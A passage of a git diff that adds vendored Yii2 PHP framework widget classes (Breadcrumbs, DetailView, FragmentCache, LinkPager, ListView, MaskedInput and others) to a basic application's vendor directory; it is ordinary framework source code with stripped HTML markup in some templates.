$count, + 'totalCount' => $totalCount, + 'page' => $page, + 'pageCount' => $pageCount, + ], Yii::$app->language); + } + + /** + * Renders the pager. + * @return string the rendering result + */ + public function renderPager() + { + $pagination = $this->dataProvider->getPagination(); + if ($pagination === false || $this->dataProvider->getCount() <= 0) { + return ''; + } + /* @var $class LinkPager */ + $pager = $this->pager; + $class = ArrayHelper::remove($pager, 'class', LinkPager::className()); + $pager['pagination'] = $pagination; + $pager['view'] = $this->getView(); + + return $class::widget($pager); + } + + /** + * Renders the sorter. + * @return string the rendering result + */ + public function renderSorter() + { + $sort = $this->dataProvider->getSort(); + if ($sort === false || empty($sort->attributes) || $this->dataProvider->getCount() <= 0) { + return ''; + } + /* @var $class LinkSorter */ + $sorter = $this->sorter; + $class = ArrayHelper::remove($sorter, 'class', LinkSorter::className()); + $sorter['sort'] = $sort; + $sorter['view'] = $this->getView(); + + return $class::widget($sorter); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/widgets/Block.php b/php/yii2/basic/vendor/yiisoft/yii2/widgets/Block.php new file mode 100644 index 00000000..ea96619c --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/widgets/Block.php @@ -0,0 +1,46 @@ + + * @since 2.0 + */ +class Block extends Widget +{ + /** + * @var boolean whether to render the block content in place. Defaults to false, + * meaning the captured block content will not be displayed. + */ + public $renderInPlace = false; + + + /** + * Starts recording a block. + */ + public function init() + { + ob_start(); + ob_implicit_flush(false); + } + + /** + * Ends recording a block. + * This method stops output buffering and saves the rendering result as a named block in the view. + */ + public function run() + { + $block = ob_get_clean(); + if ($this->renderInPlace) { + echo $block; + } + $this->view->blocks[$this->getId()] = $block; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/widgets/Breadcrumbs.php b/php/yii2/basic/vendor/yiisoft/yii2/widgets/Breadcrumbs.php new file mode 100644 index 00000000..0cdc1f41 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/widgets/Breadcrumbs.php @@ -0,0 +1,152 @@ + "
            • {link}
            • \n", // template for all links + * 'links' => [ + * [ + * 'label' => 'Post Category', + * 'url' => ['post-category/view', 'id' => 10], + * 'template' => '
            • {link}
            • \n', // template for this link only + * ], + * ['label' => 'Sample Post', 'url' => ['post/edit', 'id' => 1]], + * 'Edit', + * ], + * ]); + * ~~~ + * + * Because breadcrumbs usually appears in nearly every page of a website, you may consider placing it in a layout view. + * You can use a view parameter (e.g. `$this->params['breadcrumbs']`) to configure the links in different + * views. In the layout view, you assign this view parameter to the [[links]] property like the following: + * + * ~~~ + * // $this is the view object currently being used + * echo Breadcrumbs::widget([ + * 'links' => isset($this->params['breadcrumbs']) ? $this->params['breadcrumbs'] : [], + * ]); + * ~~~ + * + * @author Qiang Xue + * @since 2.0 + */ +class Breadcrumbs extends Widget +{ + /** + * @var string the name of the breadcrumb container tag. + */ + public $tag = 'ul'; + /** + * @var array the HTML attributes for the breadcrumb container tag. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $options = ['class' => 'breadcrumb']; + /** + * @var boolean whether to HTML-encode the link labels. + */ + public $encodeLabels = true; + /** + * @var array the first hyperlink in the breadcrumbs (called home link). + * Please refer to [[links]] on the format of the link. + * If this property is not set, it will default to a link pointing to [[\yii\web\Application::homeUrl]] + * with the label 'Home'. If this property is false, the home link will not be rendered. + */ + public $homeLink; + /** + * @var array list of links to appear in the breadcrumbs. If this property is empty, + * the widget will not render anything. Each array element represents a single link in the breadcrumbs + * with the following structure: + * + * ~~~ + * [ + * 'label' => 'label of the link', // required + * 'url' => 'url of the link', // optional, will be processed by Url::to() + * 'template' => 'own template of the item', // optional, if not set $this->itemTemplate will be used + * ] + * ~~~ + * + * If a link is active, you only need to specify its "label", and instead of writing `['label' => $label]`, + * you should simply use `$label`. + */ + public $links = []; + /** + * @var string the template used to render each inactive item in the breadcrumbs. The token `{link}` + * will be replaced with the actual HTML link for each inactive item. + */ + public $itemTemplate = "
            • {link}
            • \n"; + /** + * @var string the template used to render each active item in the breadcrumbs. The token `{link}` + * will be replaced with the actual HTML link for each active item. + */ + public $activeItemTemplate = "
            • {link}
            • \n"; + + + /** + * Renders the widget. + */ + public function run() + { + if (empty($this->links)) { + return; + } + $links = []; + if ($this->homeLink === null) { + $links[] = $this->renderItem([ + 'label' => Yii::t('yii', 'Home'), + 'url' => Yii::$app->homeUrl, + ], $this->itemTemplate); + } elseif ($this->homeLink !== false) { + $links[] = $this->renderItem($this->homeLink, $this->itemTemplate); + } + foreach ($this->links as $link) { + if (!is_array($link)) { + $link = ['label' => $link]; + } + $links[] = $this->renderItem($link, isset($link['url']) ? $this->itemTemplate : $this->activeItemTemplate); + } + echo Html::tag($this->tag, implode('', $links), $this->options); + } + + /** + * Renders a single breadcrumb item. + * @param array $link the link to be rendered. It must contain the "label" element. The "url" element is optional. + * @param string $template the template to be used to rendered the link. The token "{link}" will be replaced by the link. + * @return string the rendering result + * @throws InvalidConfigException if `$link` does not have "label" element. + */ + protected function renderItem($link, $template) + { + if (isset($link['label'])) { + $label = $this->encodeLabels ? Html::encode($link['label']) : $link['label']; + } else { + throw new InvalidConfigException('The "label" element is required for each link.'); + } + $issetTemplate = isset($link['template']); + if (isset($link['url'])) { + return strtr($issetTemplate ? $link['template'] : $template, ['{link}' => Html::a($label, $link['url'])]); + } else { + return strtr($issetTemplate ? $link['template'] : $template, ['{link}' => $label]); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/widgets/ContentDecorator.php b/php/yii2/basic/vendor/yiisoft/yii2/widgets/ContentDecorator.php new file mode 100644 index 00000000..2ab9e72b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/widgets/ContentDecorator.php @@ -0,0 +1,53 @@ + + * @since 2.0 + */ +class ContentDecorator extends Widget +{ + /** + * @var string the view file that will be used to decorate the content enclosed by this widget. + * This can be specified as either the view file path or path alias. + */ + public $viewFile; + /** + * @var array the parameters (name => value) to be extracted and made available in the decorative view. + */ + public $params = []; + + + /** + * Starts recording a clip. + */ + public function init() + { + if ($this->viewFile === null) { + throw new InvalidConfigException('ContentDecorator::viewFile must be set.'); + } + ob_start(); + ob_implicit_flush(false); + } + + /** + * Ends recording a clip. + * This method stops output buffering and saves the rendering result as a named clip in the controller. + */ + public function run() + { + $params = $this->params; + $params['content'] = ob_get_clean(); + // render under the existing context + echo $this->view->renderFile($this->viewFile, $params); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/widgets/DetailView.php b/php/yii2/basic/vendor/yiisoft/yii2/widgets/DetailView.php new file mode 100644 index 00000000..247eed4e --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/widgets/DetailView.php @@ -0,0 +1,218 @@ + $model, + * 'attributes' => [ + * 'title', // title attribute (in plain text) + * 'description:html', // description attribute in HTML + * [ // the owner name of the model + * 'label' => 'Owner', + * 'value' => $model->owner->name, + * ], + * ], + * ]); + * ~~~ + * + * @author Qiang Xue + * @since 2.0 + */ +class DetailView extends Widget +{ + /** + * @var array|object the data model whose details are to be displayed. This can be a [[Model]] instance, + * an associative array, an object that implements [[Arrayable]] interface or simply an object with defined + * public accessible non-static properties. + */ + public $model; + /** + * @var array a list of attributes to be displayed in the detail view. Each array element + * represents the specification for displaying one particular attribute. + * + * An attribute can be specified as a string in the format of "attribute", "attribute:format" or "attribute:format:label", + * where "attribute" refers to the attribute name, and "format" represents the format of the attribute. The "format" + * is passed to the [[Formatter::format()]] method to format an attribute value into a displayable text. + * Please refer to [[Formatter]] for the supported types. Both "format" and "label" are optional. + * They will take default values if absent. + * + * An attribute can also be specified in terms of an array with the following elements: + * + * - attribute: the attribute name. This is required if either "label" or "value" is not specified. + * - label: the label associated with the attribute. If this is not specified, it will be generated from the attribute name. + * - value: the value to be displayed. If this is not specified, it will be retrieved from [[model]] using the attribute name + * by calling [[ArrayHelper::getValue()]]. Note that this value will be formatted into a displayable text + * according to the "format" option. + * - format: the type of the value that determines how the value would be formatted into a displayable text. + * Please refer to [[Formatter]] for supported types. + * - visible: whether the attribute is visible. If set to `false`, the attribute will NOT be displayed. + */ + public $attributes; + /** + * @var string|callable the template used to render a single attribute. If a string, the token `{label}` + * and `{value}` will be replaced with the label and the value of the corresponding attribute. + * If a callback (e.g. an anonymous function), the signature must be as follows: + * + * ~~~ + * function ($attribute, $index, $widget) + * ~~~ + * + * where `$attribute` refer to the specification of the attribute being rendered, `$index` is the zero-based + * index of the attribute in the [[attributes]] array, and `$widget` refers to this widget instance. + */ + public $template = "{label}{value}"; + /** + * @var array the HTML attributes for the container tag of this widget. The "tag" option specifies + * what container tag should be used. It defaults to "table" if not set. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $options = ['class' => 'table table-striped table-bordered detail-view']; + /** + * @var array|Formatter the formatter used to format model attribute values into displayable texts. + * This can be either an instance of [[Formatter]] or an configuration array for creating the [[Formatter]] + * instance. If this property is not set, the "formatter" application component will be used. + */ + public $formatter; + + + /** + * Initializes the detail view. + * This method will initialize required property values. + */ + public function init() + { + if ($this->model === null) { + throw new InvalidConfigException('Please specify the "model" property.'); + } + if ($this->formatter == null) { + $this->formatter = Yii::$app->getFormatter(); + } elseif (is_array($this->formatter)) { + $this->formatter = Yii::createObject($this->formatter); + } + if (!$this->formatter instanceof Formatter) { + throw new InvalidConfigException('The "formatter" property must be either a Format object or a configuration array.'); + } + $this->normalizeAttributes(); + } + + /** + * Renders the detail view. + * This is the main entry of the whole detail view rendering. + */ + public function run() + { + $rows = []; + $i = 0; + foreach ($this->attributes as $attribute) { + $rows[] = $this->renderAttribute($attribute, $i++); + } + + $tag = ArrayHelper::remove($this->options, 'tag', 'table'); + echo Html::tag($tag, implode("\n", $rows), $this->options); + } + + /** + * Renders a single attribute. + * @param array $attribute the specification of the attribute to be rendered. + * @param integer $index the zero-based index of the attribute in the [[attributes]] array + * @return string the rendering result + */ + protected function renderAttribute($attribute, $index) + { + if (is_string($this->template)) { + return strtr($this->template, [ + '{label}' => $attribute['label'], + '{value}' => $this->formatter->format($attribute['value'], $attribute['format']), + ]); + } else { + return call_user_func($this->template, $attribute, $index, $this); + } + } + + /** + * Normalizes the attribute specifications. + * @throws InvalidConfigException + */ + protected function normalizeAttributes() + { + if ($this->attributes === null) { + if ($this->model instanceof Model) { + $this->attributes = $this->model->attributes(); + } elseif (is_object($this->model)) { + $this->attributes = $this->model instanceof Arrayable ? $this->model->toArray() : array_keys(get_object_vars($this->model)); + } elseif (is_array($this->model)) { + $this->attributes = array_keys($this->model); + } else { + throw new InvalidConfigException('The "model" property must be either an array or an object.'); + } + sort($this->attributes); + } + + foreach ($this->attributes as $i => $attribute) { + if (is_string($attribute)) { + if (!preg_match('/^([\w\.]+)(:(\w*))?(:(.*))?$/', $attribute, $matches)) { + throw new InvalidConfigException('The attribute must be specified in the format of "attribute", "attribute:format" or "attribute:format:label"'); + } + $attribute = [ + 'attribute' => $matches[1], + 'format' => isset($matches[3]) ? $matches[3] : 'text', + 'label' => isset($matches[5]) ? $matches[5] : null, + ]; + } + + if (!is_array($attribute)) { + throw new InvalidConfigException('The attribute configuration must be an array.'); + } + + if (isset($attribute['visible']) && !$attribute['visible']) { + unset($this->attributes[$i]); + continue; + } + + if (!isset($attribute['format'])) { + $attribute['format'] = 'text'; + } + if (isset($attribute['attribute'])) { + $attributeName = $attribute['attribute']; + if (!isset($attribute['label'])) { + $attribute['label'] = $this->model instanceof Model ? $this->model->getAttributeLabel($attributeName) : Inflector::camel2words($attributeName, true); + } + if (!array_key_exists('value', $attribute)) { + $attribute['value'] = ArrayHelper::getValue($this->model, $attributeName); + } + } elseif (!isset($attribute['label']) || !array_key_exists('value', $attribute)) { + throw new InvalidConfigException('The attribute configuration requires the "attribute" element to determine the value and display label.'); + } + + $this->attributes[$i] = $attribute; + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/widgets/FragmentCache.php b/php/yii2/basic/vendor/yiisoft/yii2/widgets/FragmentCache.php new file mode 100644 index 00000000..94f9f62d --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/widgets/FragmentCache.php @@ -0,0 +1,186 @@ + + * @since 2.0 + */ +class FragmentCache extends Widget +{ + /** + * @var Cache|string the cache object or the application component ID of the cache object. + * After the FragmentCache object is created, if you want to change this property, + * you should only assign it with a cache object. + */ + public $cache = 'cache'; + /** + * @var integer number of seconds that the data can remain valid in cache. + * Use 0 to indicate that the cached data will never expire. + */ + public $duration = 60; + /** + * @var array|Dependency the dependency that the cached content depends on. + * This can be either a [[Dependency]] object or a configuration array for creating the dependency object. + * For example, + * + * ~~~ + * [ + * 'class' => 'yii\caching\DbDependency', + * 'sql' => 'SELECT MAX(updated_at) FROM post', + * ] + * ~~~ + * + * would make the output cache depends on the last modified time of all posts. + * If any post has its modification time changed, the cached content would be invalidated. + */ + public $dependency; + /** + * @var array list of factors that would cause the variation of the content being cached. + * Each factor is a string representing a variation (e.g. the language, a GET parameter). + * The following variation setting will cause the content to be cached in different versions + * according to the current application language: + * + * ~~~ + * [ + * Yii::$app->language, + * ] + */ + public $variations; + /** + * @var boolean whether to enable the fragment cache. You may use this property to turn on and off + * the fragment cache according to specific setting (e.g. enable fragment cache only for GET requests). + */ + public $enabled = true; + /** + * @var array a list of placeholders for embedding dynamic contents. This property + * is used internally to implement the content caching feature. Do not modify it. + */ + public $dynamicPlaceholders; + + + /** + * Initializes the FragmentCache object. + */ + public function init() + { + parent::init(); + + $this->cache = $this->enabled ? Instance::ensure($this->cache, Cache::className()) : null; + + if ($this->getCachedContent() === false) { + $this->getView()->cacheStack[] = $this; + ob_start(); + ob_implicit_flush(false); + } + } + + /** + * Marks the end of content to be cached. + * Content displayed before this method call and after [[init()]] + * will be captured and saved in cache. + * This method does nothing if valid content is already found in cache. + */ + public function run() + { + if (($content = $this->getCachedContent()) !== false) { + echo $content; + } elseif ($this->cache instanceof Cache) { + $content = ob_get_clean(); + array_pop($this->getView()->cacheStack); + if (is_array($this->dependency)) { + $this->dependency = Yii::createObject($this->dependency); + } + $data = [$content, $this->dynamicPlaceholders]; + $this->cache->set($this->calculateKey(), $data, $this->duration, $this->dependency); + + if (empty($this->getView()->cacheStack) && !empty($this->dynamicPlaceholders)) { + $content = $this->updateDynamicContent($content, $this->dynamicPlaceholders); + } + echo $content; + } + } + + /** + * @var string|boolean the cached content. False if the content is not cached. + */ + private $_content; + + /** + * Returns the cached content if available. + * @return string|boolean the cached content. False is returned if valid content is not found in the cache. + */ + public function getCachedContent() + { + if ($this->_content === null) { + $this->_content = false; + if ($this->cache instanceof Cache) { + $key = $this->calculateKey(); + $data = $this->cache->get($key); + if (is_array($data) && count($data) === 2) { + list ($content, $placeholders) = $data; + if (is_array($placeholders) && count($placeholders) > 0) { + if (empty($this->getView()->cacheStack)) { + // outermost cache: replace placeholder with dynamic content + $content = $this->updateDynamicContent($content, $placeholders); + } + foreach ($placeholders as $name => $statements) { + $this->getView()->addDynamicPlaceholder($name, $statements); + } + } + $this->_content = $content; + } + } + } + + return $this->_content; + } + + /** + * Replaces placeholders in content by results of evaluated dynamic statemens + * + * @param string $content + * @param array $placeholders + * @return string final content + */ + protected function updateDynamicContent($content, $placeholders) + { + foreach ($placeholders as $name => $statements) { + $placeholders[$name] = $this->getView()->evaluateDynamicContent($statements); + } + + return strtr($content, $placeholders); + } + + /** + * Generates a unique key used for storing the content in cache. + * The key generated depends on both [[id]] and [[variations]]. + * @return mixed a valid cache key + */ + protected function calculateKey() + { + $factors = [__CLASS__, $this->getId()]; + if (is_array($this->variations)) { + foreach ($this->variations as $factor) { + $factors[] = $factor; + } + } + + return $factors; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/widgets/InputWidget.php b/php/yii2/basic/vendor/yiisoft/yii2/widgets/InputWidget.php new file mode 100644 index 00000000..50bcd9eb --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/widgets/InputWidget.php @@ -0,0 +1,73 @@ + + * @since 2.0 + */ +class InputWidget extends Widget +{ + /** + * @var Model the data model that this widget is associated with. + */ + public $model; + /** + * @var string the model attribute that this widget is associated with. + */ + public $attribute; + /** + * @var string the input name. This must be set if [[model]] and [[attribute]] are not set. + */ + public $name; + /** + * @var string the input value. + */ + public $value; + /** + * @var array the HTML attributes for the input tag. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $options = []; + + + /** + * Initializes the widget. + * If you override this method, make sure you call the parent implementation first. + */ + public function init() + { + if (!$this->hasModel() && $this->name === null) { + throw new InvalidConfigException("Either 'name', or 'model' and 'attribute' properties must be specified."); + } + if (!isset($this->options['id'])) { + $this->options['id'] = $this->hasModel() ? Html::getInputId($this->model, $this->attribute) : $this->getId(); + } + parent::init(); + } + + /** + * @return boolean whether this widget is associated with a data model. + */ + protected function hasModel() + { + return $this->model instanceof Model && $this->attribute !== null; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/widgets/LinkPager.php b/php/yii2/basic/vendor/yiisoft/yii2/widgets/LinkPager.php new file mode 100644 index 00000000..36f84308 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/widgets/LinkPager.php @@ -0,0 +1,234 @@ + + * @since 2.0 + */ +class LinkPager extends Widget +{ + /** + * @var Pagination the pagination object that this pager is associated with. + * You must set this property in order to make LinkPager work. + */ + public $pagination; + /** + * @var array HTML attributes for the pager container tag. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $options = ['class' => 'pagination']; + /** + * @var array HTML attributes for the link in a pager container tag. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $linkOptions = []; + /** + * @var string the CSS class for the "first" page button. + */ + public $firstPageCssClass = 'first'; + /** + * @var string the CSS class for the "last" page button. + */ + public $lastPageCssClass = 'last'; + /** + * @var string the CSS class for the "previous" page button. + */ + public $prevPageCssClass = 'prev'; + /** + * @var string the CSS class for the "next" page button. + */ + public $nextPageCssClass = 'next'; + /** + * @var string the CSS class for the active (currently selected) page button. + */ + public $activePageCssClass = 'active'; + /** + * @var string the CSS class for the disabled page buttons. + */ + public $disabledPageCssClass = 'disabled'; + /** + * @var integer maximum number of page buttons that can be displayed. Defaults to 10. + */ + public $maxButtonCount = 10; + /** + * @var string|boolean the label for the "next" page button. Note that this will NOT be HTML-encoded. + * If this property is false, the "next" page button will not be displayed. + */ + public $nextPageLabel = '»'; + /** + * @var string|boolean the text label for the previous page button. Note that this will NOT be HTML-encoded. + * If this property is false, the "previous" page button will not be displayed. + */ + public $prevPageLabel = '«'; + /** + * @var string|boolean the text label for the "first" page button. Note that this will NOT be HTML-encoded. + * Default is false that means the "first" page button will not be displayed. + */ + public $firstPageLabel = false; + /** + * @var string|boolean the text label for the "last" page button. Note that this will NOT be HTML-encoded. + * Default is false that means the "last" page button will not be displayed. + */ + public $lastPageLabel = false; + /** + * @var boolean whether to register link tags in the HTML header for prev, next, first and last page. + * Defaults to `false` to avoid conflicts when multiple pagers are used on one page. + * @see http://www.w3.org/TR/html401/struct/links.html#h-12.1.2 + * @see registerLinkTags() + */ + public $registerLinkTags = false; + /** + * @var boolean Hide widget when only one page exist. + */ + public $hideOnSinglePage = true; + + + /** + * Initializes the pager. + */ + public function init() + { + if ($this->pagination === null) { + throw new InvalidConfigException('The "pagination" property must be set.'); + } + } + + /** + * Executes the widget. + * This overrides the parent implementation by displaying the generated page buttons. + */ + public function run() + { + if ($this->registerLinkTags) { + $this->registerLinkTags(); + } + echo $this->renderPageButtons(); + } + + /** + * Registers relational link tags in the html header for prev, next, first and last page. + * These links are generated using [[\yii\data\Pagination::getLinks()]]. + * @see http://www.w3.org/TR/html401/struct/links.html#h-12.1.2 + */ + protected function registerLinkTags() + { + $view = $this->getView(); + foreach ($this->pagination->getLinks() as $rel => $href) { + $view->registerLinkTag(['rel' => $rel, 'href' => $href], $rel); + } + } + + /** + * Renders the page buttons. + * @return string the rendering result + */ + protected function renderPageButtons() + { + $pageCount = $this->pagination->getPageCount(); + if ($pageCount < 2 && $this->hideOnSinglePage) { + return ''; + } + + $buttons = []; + $currentPage = $this->pagination->getPage(); + + // first page + if ($this->firstPageLabel !== false) { + $buttons[] = $this->renderPageButton($this->firstPageLabel, 0, $this->firstPageCssClass, $currentPage <= 0, false); + } + + // prev page + if ($this->prevPageLabel !== false) { + if (($page = $currentPage - 1) < 0) { + $page = 0; + } + $buttons[] = $this->renderPageButton($this->prevPageLabel, $page, $this->prevPageCssClass, $currentPage <= 0, false); + } + + // internal pages + list($beginPage, $endPage) = $this->getPageRange(); + for ($i = $beginPage; $i <= $endPage; ++$i) { + $buttons[] = $this->renderPageButton($i + 1, $i, null, false, $i == $currentPage); + } + + // next page + if ($this->nextPageLabel !== false) { + if (($page = $currentPage + 1) >= $pageCount - 1) { + $page = $pageCount - 1; + } + $buttons[] = $this->renderPageButton($this->nextPageLabel, $page, $this->nextPageCssClass, $currentPage >= $pageCount - 1, false); + } + + // last page + if ($this->lastPageLabel !== false) { + $buttons[] = $this->renderPageButton($this->lastPageLabel, $pageCount - 1, $this->lastPageCssClass, $currentPage >= $pageCount - 1, false); + } + + return Html::tag('ul', implode("\n", $buttons), $this->options); + } + + /** + * Renders a page button. + * You may override this method to customize the generation of page buttons. + * @param string $label the text label for the button + * @param integer $page the page number + * @param string $class the CSS class for the page button. + * @param boolean $disabled whether this page button is disabled + * @param boolean $active whether this page button is active + * @return string the rendering result + */ + protected function renderPageButton($label, $page, $class, $disabled, $active) + { + $options = ['class' => $class === '' ? null : $class]; + if ($active) { + Html::addCssClass($options, $this->activePageCssClass); + } + if ($disabled) { + Html::addCssClass($options, $this->disabledPageCssClass); + + return Html::tag('li', Html::tag('span', $label), $options); + } + $linkOptions = $this->linkOptions; + $linkOptions['data-page'] = $page; + + return Html::tag('li', Html::a($label, $this->pagination->createUrl($page), $linkOptions), $options); + } + + /** + * @return array the begin and end pages that need to be displayed. + */ + protected function getPageRange() + { + $currentPage = $this->pagination->getPage(); + $pageCount = $this->pagination->getPageCount(); + + $beginPage = max(0, $currentPage - (int) ($this->maxButtonCount / 2)); + if (($endPage = $beginPage + $this->maxButtonCount - 1) >= $pageCount) { + $endPage = $pageCount - 1; + $beginPage = max(0, $endPage - $this->maxButtonCount + 1); + } + + return [$beginPage, $endPage]; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/widgets/LinkSorter.php b/php/yii2/basic/vendor/yiisoft/yii2/widgets/LinkSorter.php new file mode 100644 index 00000000..7d9ca8fc --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/widgets/LinkSorter.php @@ -0,0 +1,76 @@ + + * @since 2.0 + */ +class LinkSorter extends Widget +{ + /** + * @var Sort the sort definition + */ + public $sort; + /** + * @var array list of the attributes that support sorting. If not set, it will be determined + * using [[Sort::attributes]]. + */ + public $attributes; + /** + * @var array HTML attributes for the sorter container tag. + * @see \yii\helpers\Html::ul() for special attributes. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $options = ['class' => 'sorter']; + + + /** + * Initializes the sorter. + */ + public function init() + { + if ($this->sort === null) { + throw new InvalidConfigException('The "sort" property must be set.'); + } + } + + /** + * Executes the widget. + * This method renders the sort links. + */ + public function run() + { + echo $this->renderSortLinks(); + } + + /** + * Renders the sort links. + * @return string the rendering result + */ + protected function renderSortLinks() + { + $attributes = empty($this->attributes) ? array_keys($this->sort->attributes) : $this->attributes; + $links = []; + foreach ($attributes as $name) { + $links[] = $this->sort->link($name); + } + + return Html::ul($links, array_merge($this->options, ['encode' => false])); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/widgets/ListView.php b/php/yii2/basic/vendor/yiisoft/yii2/widgets/ListView.php new file mode 100644 index 00000000..107c6b61 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/widgets/ListView.php @@ -0,0 +1,111 @@ + + * @since 2.0 + */ +class ListView extends BaseListView +{ + /** + * @var array the HTML attributes for the container of the rendering result of each data model. + * The "tag" element specifies the tag name of the container element and defaults to "div". + * If "tag" is false, it means no container element will be rendered. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $itemOptions = []; + /** + * @var string|callable the name of the view for rendering each data item, or a callback (e.g. an anonymous function) + * for rendering each data item. If it specifies a view name, the following variables will + * be available in the view: + * + * - `$model`: mixed, the data model + * - `$key`: mixed, the key value associated with the data item + * - `$index`: integer, the zero-based index of the data item in the items array returned by [[dataProvider]]. + * - `$widget`: ListView, this widget instance + * + * Note that the view name is resolved into the view file by the current context of the [[view]] object. + * + * If this property is specified as a callback, it should have the following signature: + * + * ~~~ + * function ($model, $key, $index, $widget) + * ~~~ + */ + public $itemView; + /** + * @var array additional parameters to be passed to [[itemView]] when it is being rendered. + * This property is used only when [[itemView]] is a string representing a view name. + */ + public $viewParams = []; + /** + * @var string the HTML code to be displayed between any two consecutive items. + */ + public $separator = "\n"; + /** + * @var array the HTML attributes for the container tag of the list view. + * The "tag" element specifies the tag name of the container element and defaults to "div". + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $options = ['class' => 'list-view']; + + + /** + * Renders all data models. + * @return string the rendering result + */ + public function renderItems() + { + $models = $this->dataProvider->getModels(); + $keys = $this->dataProvider->getKeys(); + $rows = []; + foreach (array_values($models) as $index => $model) { + $rows[] = $this->renderItem($model, $keys[$index], $index); + } + + return implode($this->separator, $rows); + } + + /** + * Renders a single data model. + * @param mixed $model the data model to be rendered + * @param mixed $key the key value associated with the data model + * @param integer $index the zero-based index of the data model in the model array returned by [[dataProvider]]. + * @return string the rendering result + */ + public function renderItem($model, $key, $index) + { + if ($this->itemView === null) { + $content = $key; + } elseif (is_string($this->itemView)) { + $content = $this->getView()->render($this->itemView, array_merge([ + 'model' => $model, + 'key' => $key, + 'index' => $index, + 'widget' => $this, + ], $this->viewParams)); + } else { + $content = call_user_func($this->itemView, $model, $key, $index, $this); + } + $options = $this->itemOptions; + $tag = ArrayHelper::remove($options, 'tag', 'div'); + if ($tag !== false) { + $options['data-key'] = is_array($key) ? json_encode($key) : (string) $key; + + return Html::tag($tag, $content, $options); + } else { + return $content; + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/widgets/MaskedInput.php b/php/yii2/basic/vendor/yiisoft/yii2/widgets/MaskedInput.php new file mode 100644 index 00000000..0d49a827 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/widgets/MaskedInput.php @@ -0,0 +1,178 @@ + 'phone', + * 'mask' => '999-999-9999', + * ]); + * ``` + * + * The masked text field is implemented based on the + * [jQuery input masked plugin](https://github.com/RobinHerbots/jquery.inputmask). + * + * @author Kartik Visweswaran + * @since 2.0 + */ +class MaskedInput extends InputWidget +{ + /** + * The name of the jQuery plugin to use for this widget. + */ + const PLUGIN_NAME = 'inputmask'; + + /** + * @var string|array|JsExpression the input mask (e.g. '99/99/9999' for date input). The following characters + * can be used in the mask and are predefined: + * + * - `a`: represents an alpha character (A-Z, a-z) + * - `9`: represents a numeric character (0-9) + * - `*`: represents an alphanumeric character (A-Z, a-z, 0-9) + * - `[` and `]`: anything entered between the square brackets is considered optional user input. This is + * based on the `optionalmarker` setting in [[clientOptions]]. + * + * Additional definitions can be set through the [[definitions]] property. + */ + public $mask; + /** + * @var array custom mask definitions to use. Should be configured as `maskSymbol => settings`, where + * + * - `maskSymbol` is a string, containing a character to identify your mask definition and + * - `settings` is an array, consisting of the following entries: + * - `validator`: string, a JS regular expression or a JS function. + * - `cardinality`: int, specifies how many characters are represented and validated for the definition. + * - `prevalidator`: array, validate the characters before the definition cardinality is reached. + * - `definitionSymbol`: string, allows shifting values from other definitions, with this `definitionSymbol`. + */ + public $definitions; + /** + * @var array custom aliases to use. Should be configured as `maskAlias => settings`, where + * + * - `maskAlias` is a string containing a text to identify your mask alias definition (e.g. 'phone') and + * - `settings` is an array containing settings for the mask symbol, exactly similar to parameters as passed in [[clientOptions]]. + */ + public $aliases; + /** + * @var array the JQuery plugin options for the input mask plugin. + * @see https://github.com/RobinHerbots/jquery.inputmask + */ + public $clientOptions = []; + /** + * @var array the HTML attributes for the input tag. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $options = ['class' => 'form-control']; + + /** + * @var string the hashed variable to store the pluginOptions + */ + protected $_hashVar; + + + /** + * Initializes the widget. + * + * @throws InvalidConfigException if the "mask" property is not set. + */ + public function init() + { + parent::init(); + if (empty($this->mask) && empty($this->clientOptions['alias'])) { + throw new InvalidConfigException("Either the 'mask' property or the 'clientOptions[\"alias\"]' property must be set."); + } + } + + /** + * @inheritdoc + */ + public function run() + { + if ($this->hasModel()) { + echo Html::activeTextInput($this->model, $this->attribute, $this->options); + } else { + echo Html::textInput($this->name, $this->value, $this->options); + } + $this->registerClientScript(); + } + + /** + * Generates a hashed variable to store the plugin `clientOptions`. Helps in reusing the variable for similar + * options passed for other widgets on the same page. The following special data attributes will also be + * setup for the input widget, that can be accessed through javascript: + * + * - 'data-plugin-options' will store the hashed variable storing the plugin options. + * - 'data-plugin-name' the name of the plugin + * + * @param View $view the view instance + * @author [Thiago Talma](https://github.com/thiagotalma) + */ + protected function hashPluginOptions($view) + { + $encOptions = empty($this->clientOptions) ? '{}' : Json::encode($this->clientOptions); + $this->_hashVar = self::PLUGIN_NAME . '_' . hash('crc32', $encOptions); + $this->options['data-plugin-name'] = self::PLUGIN_NAME; + $this->options['data-plugin-options'] = $this->_hashVar; + $view->registerJs("var {$this->_hashVar} = {$encOptions};\n", View::POS_HEAD); + } + + /** + * Initializes client options + */ + protected function initClientOptions() + { + 